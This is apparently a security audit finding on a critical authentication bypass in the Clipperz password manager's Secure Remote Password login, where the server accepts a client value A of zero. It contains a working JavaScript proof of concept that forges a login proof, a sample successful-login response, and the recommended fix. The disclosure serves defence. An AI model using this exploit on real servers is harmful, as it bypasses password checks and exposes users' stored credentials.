88 lines
3.1 KiB
Plaintext
88 lines
3.1 KiB
Plaintext
|
CLP-01-017 SRP Authentication Bypass (Critical)
|
||
|
|
||
|
The Clipperz application implements the Secure Remote Password protocol
|
||
|
for authentication. The specification explicitly states that the
|
||
|
parameter A provided by the client must not be zero. The Clipperz
|
||
|
implementation omits this check, which makes password verification
|
||
|
trivial to bypass.
|
||
|
|
||
|
According to the SRP-6 specification, the shared secret is on the server
|
||
|
side calculated as (Avu)b where A is supplied by the client. If A is
|
||
|
zero the result is also zero, and the resulting shared key is H(0). The
|
||
|
corresponding proof can easily be calculated by the attacker as H(0 | B
|
||
|
| H(0)). The following JavaScript function can be run in the console
|
||
|
when on the Clipperz login page. While the page itself is not updated,
|
||
|
the resulting JSON response clearly indicates a successful login.
|
||
|
|
||
|
SRP authentication bypass PoC:
|
||
|
|
||
|
(function PoC(){
|
||
|
function send(m,p){
|
||
|
x=new XMLHttpRequest();
|
||
|
x.open('post','/json',false);
|
||
|
x.setRequestHeader('Content-Type','application/x-www-form-urlencoded');
|
||
|
x.send('method='+m+'¶meters='+urlEncode(JSON.stringify(p)));
|
||
|
return JSON.parse(x.responseText);
|
||
|
}
|
||
|
r=send('knock',{"requestType":"CONNECT"});
|
||
|
|
||
|
r=send('handshake',{"parameters":
|
||
|
{"message":"connect",
|
||
|
"version":"0.2",
|
||
|
"parameters":
|
||
|
|
||
|
{"C":"97766a7e1814fa3042c48869a314f9bde76ab48a57fb1ee54e874aadb76544f6",
|
||
|
"A":"0"}},
|
||
|
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
|
||
|
|
||
|
B=new Clipperz.Crypto.BigInt(r.result.B,16).asString();
|
||
|
S=new Clipperz.ByteArray("0")
|
||
|
K=Clipperz.Crypto.SHA.sha_d256(S).toHexString().substring(2);
|
||
|
M1=new Clipperz.ByteArray("0"+B+K)
|
||
|
M1=Clipperz.Crypto.SHA.sha_d256(M1).toHexString().substring(2);
|
||
|
return send('handshake',{"parameters":
|
||
|
{"message":"credentialCheck",
|
||
|
"version":"0.2",
|
||
|
"parameters":{"M1":M1}},
|
||
|
"toll":new Clipperz.PM.Toll(r.toll).deferredPay().results[0]});
|
||
|
})()
|
||
|
|
||
|
Example JSON response:
|
||
|
|
||
|
{"result":
|
||
|
{"subscription":
|
||
|
{"fromDate":"Mon, 28 April 2014 13:20:56 UTC",
|
||
|
"features":["OFFLINE_COPY","LIST_CARDS"],
|
||
|
"toDate":"Mon, 01 January 4001 00:00:00 UTC",
|
||
|
"type":"EARLY_ADOPTER"},
|
||
|
"loginInfo":
|
||
|
{"current":
|
||
|
{"operatingSystem":"LINUX",
|
||
|
"disconnectionType":"STILL_CONNECTED",
|
||
|
"browser":"FIREFOX",
|
||
|
"connectionType":"LOGIN",
|
||
|
"date":"Tue, 06 May 2014 03:09:28 UTC",
|
||
|
"country":"SE",
|
||
|
"ip":"83.248.183.26"},
|
||
|
"latest":
|
||
|
{"operatingSystem":"LINUX",
|
||
|
"disconnectionType":"SESSION_EXPIRED",
|
||
|
"browser":"FIREFOX",
|
||
|
"connectionType":"LOGIN",
|
||
|
"date":"Tue, 06 May 2014 02:16:36 UTC",
|
||
|
"country":"SE",
|
||
|
"ip":"83.248.183.26"}},
|
||
|
"connectionId":
|
||
|
"35defbcf6616c469aeb404e899b057fa2fdf2595c20b56a3c78407947a16dd86",
|
||
|
"lock":"8404A584-AE8A-2AEB-3B1F-066D4A3FF271",
|
||
|
"offlineCopyNeeded":true,
|
||
|
"M2":"de8e70e96b860f703417dd27e7d4233c9bdab503c58cb89d5bddcbd8ed93fb97"},
|
||
|
"toll":
|
||
|
{"targetValue":
|
||
|
"2e563d96bac476777ef9338153048b17f84055ec2a7f4e8b47142e518eff26b5",
|
||
|
"requestType":"MESSAGE",
|
||
|
"cost":2}
|
||
|
}
|
||
|
|
||
|
To mitigate the issue sufficiently, the server needs to verify that A
|
||
|
cannot be 0 so the attack cannot be carried out.
|